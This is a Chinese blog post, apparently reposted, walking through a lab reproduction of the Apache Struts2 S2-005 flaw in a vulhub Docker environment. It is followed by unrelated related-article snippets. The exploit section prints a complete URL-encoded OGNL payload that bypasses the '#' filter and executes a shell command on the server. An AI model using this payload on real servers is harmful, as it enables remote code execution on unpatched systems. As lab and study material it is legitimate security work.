Apache Struts2漏洞复现之s2-005漏洞复现

news2025/1/17 5:50:51

0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。

        缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

0x03 漏洞概述:

        s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。

0x04 影响版本:

        Struts 2.0.0 - Struts 2.1.8.1

0x05 环境搭建:

Docker环境搭建:

        参考这篇文章(https://blog.csdn.net/qq_44281295/article/details/126573488)

漏洞环境搭建:

下载vulhub

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

启动项目

进入s2-005目录

cd /root/vulhub/struts2/s2-005/

执行:docker-compose up -d

访问页面:

http://192.168.80.130:8080

 

0x06 漏洞复现:

手动利用:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

进入docker查看文件:

执行docker ps 查看容器信息

执行 docker exec -it a80c /bin/bash

成功写入success的文件

工具利用:

(工具出自ABC大佬,公众号:希潭实验室)

0x07 流量分析:

手动利用流量:

工具利用流量:

0x08 修复建议:

        参照官网更新 Struts 版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/960331.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LNMT架构

所谓的LNMT架构 指的就是Linux操作系统上部署Nginx web服务器、MySQL数据库服务器、Tomcat中间件服务器 L linux N nginx M mysql T tomcat 单机部署 1,安装 apache-tomcat 2,移动目录 3,复制第二个tomcat 4,…

Annual Inspection

机动车年检流程【交警12123】APP 到【检查地方】门口墙上贴着 然后上缴钥匙,等待,本次等待不到半小时搞定,速度很满意, 发现检测人员把你的里程数纠正了。 给你的行驶证,打印这些字样:检验有效期至XXXX 再给…

代码仓库必知:git忽略文件规则。问题解决: gitignore文件没有忽略某个文件,就是提交不了

文章目录 问题背景一、Git种的忽略文件有哪些?二、设置忽略文件的方法 问题背景 假设我的文件叫a.tsx,在 git status 时检测不到它的改动记录,并且 git commit 不了! 强制推才可以。这样会影响开发进度,因为我们经常需…

nomachine连接无显示器的Ubuntu/Debian时黑屏

nomachine连接无显示器的Ubuntu/Debian时黑屏 原因:无外接显示器时,Linux不会启动桌面GUI,或者说显卡就根本没有启动,这就是所谓的headless mode。 解决方法:官方给出了一些解决方案,见NoMachine - Conne…

Java String类(1)

String类的重要性 我们之前在C语言中已经涉及到字符串了,但是在C语言中要表示字符串只能使用字符数组或者字符指针,可以使用标准库提供的字符串系列函数完成大部分操作,但是这种将数据和操作数据的方法分离开的方式不符合面向对象的思想&…

Cannal监听binlog

文章目录 一、canal概念二、canal使用场景四、Canal工作原理Mysql主从复制原理 binlog中的二进制日志binlog格式选择 Canal消费方式应用实践总结 一、canal概念 canal是用java开发的基于数据库增量日志解析,提供增量数据订阅&消费的中间件。目前,ca…

【位运算】leetcode面试题:消失的两个数字

一.题目描述 消失的两个数字 二.思路分析 本题难度标签是困难,但实际上有了只出现一次的数字iii这道题的铺垫,本题的思路还是很容易想到的。 温馨提示:阅读本文前可以先查看我的【位运算】专栏的第一篇文章,其中包含位运算这类…

算法通关村14关 | 堆在数组中找第k大的元素应用

1. 在数组中找第k大元素 题目 LeetCode215:给定整数数组nums和整数k,请返回数组中第k个最大的元素, 思路 解题思路用三个,选择法,堆查找和快速排序。 我们选择用大堆小堆解决问题,“找最大用小堆&#xff…

查看GPU占用率

如何监控NVIDIA GPU 的运行状态和使用情况_nvidia 85c_LiBiGo的博客-CSDN博客设备跟踪和管理正成为机器学习工程的中心焦点。这个任务的核心是在模型训练过程中跟踪和报告gpu的使用效率。有效的GPU监控可以帮助我们配置一些非常重要的超参数,例如批大小,…

nas汇编程序的调试排错方法

nas汇编程序的调试排错方法: 1、查找是哪一步错了 2、查看对应的*.lst文件,本例中是"asmhead.lst" 3、根据*.lst文件的[ERROR #002]提示查看源码,改错。 4、重新运行编译,OK 1、查找是哪一步错了: nask.ex…

K8S:K8S自动化运维容器

目录 一.k8s概述 2.为什么要用K8S 3.作用及功能 4.k8s容器集群管理系统 二.K8S的特性 1.弹性伸缩 2.自我修复 3.服务发现和复制均衡 4.自动发布和回滚 5.集中化配置管理和秘钥管理 6.存储编排 7.任务批量处理运行 三.K8S的集群架构 四.K8S的核心组件 1.Master组件 …

【WebSocketIndexedDB】node+WebSocketIndexedDB开发简易聊天室

序幕介绍: WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。 讲人话就是说:WebSocket 使得客户端和服务器之间的数据交换变得更加简单,在 WebSocket API 中,浏览器和服务器只需要完成一次握手&#x…

C/C++语言简易图形库EasyX库和EGE图形库

有些学校直接拿 VC 来讲 C 语言,因为 VC 的编辑和调试环境都很优秀,并且 VC 有适合教学的免费版本。可惜在 VC 里面只能做一些文字性的练习题,想画条直线或一个圆都很难,例如需要注册窗口类、建消息循环等等,初学者会受…

Qvirtualkeyboard使用及相关知识点

项目介绍 环境介绍:x86银河麒麟v10 arm银河麒麟v10 需求分析:在arm平台上(一个平板)运行qt程序需要使用软键盘,不会配置键盘和鼠标,故需要使用软键盘。 方案总结: 使用自己开发或者从网上下…

python爬虫-数据解析BeautifulSoup

1、基本简介 BeautifulSoup简称bs4,BeautifulSoup和lxml一样是一个html的解析器,主要功能也是解析和提取数据。 BeautifulSoup和lxml类似,既可以解析本地文件也可以响应服务器文件。 缺点:效率没有lxml的效率高 。 优点:接口设…

Vulnhub: Hogwarts: Bellatrix靶机

kali:192.168.111.111 靶机:192.168.111.228 信息收集 端口扫描 nmap -A -sC -v -sV -T5 -p- --scripthttp-enum 192.168.111.228访问80端口 查看源码,提示ikilledsiriusblack.php和文件包含的参数名file 漏洞利用 ikilledsiriusblack.p…

实训笔记9.1

实训笔记9.1 9.1笔记一、项目开发流程一共分为七个阶段1.1 数据产生阶段1.2 数据采集存储阶段1.3 数据清洗预处理阶段1.4 数据统计分析阶段1.5 数据迁移导出阶段1.6 数据可视化阶段 二、项目的数据产生阶段三、项目的数据采集存储阶段四、项目数据清洗预处理的实现4.1 清洗预处…

50ETF期权开户平台(0门槛期权开户指南)

50ETF期权开户平台比较好的有:期权馆,期权科普馆,小熊期权,期权酱,财顺财经,财顺期权等,都是国内前十的期权分仓平台,下文为大家结算50ETF期权开户平台(0门槛期权开户指南…

【SpringSecurity】十一、SpringSecurity集成JWT实现token的方法与校验

文章目录 1、依赖与配置2、JWT工具类3、认证成功处理器4、创建JWT过滤器5、安全配置类 1、依赖与配置 添加JWT的maven依赖&#xff1a; <!-- 添加jwt的依赖 --> <dependency><groupId>com.auth0</groupId><artifactId>java-jwt</artifactId…

专业协作设计工具,看看这6个有你喜欢的吗

如今“在线协作”成为了团队设计场景中必需的功能之一&#xff0c;今天本文整理了7个支持团队协作的&#xff0c;好用的设计工具&#xff0c;一起来看看吧&#xff01; 1、即时设计 即时设计是一个强大的在线设计协作工具&#xff0c;它具有实时协作设计和在线评论能力。在设…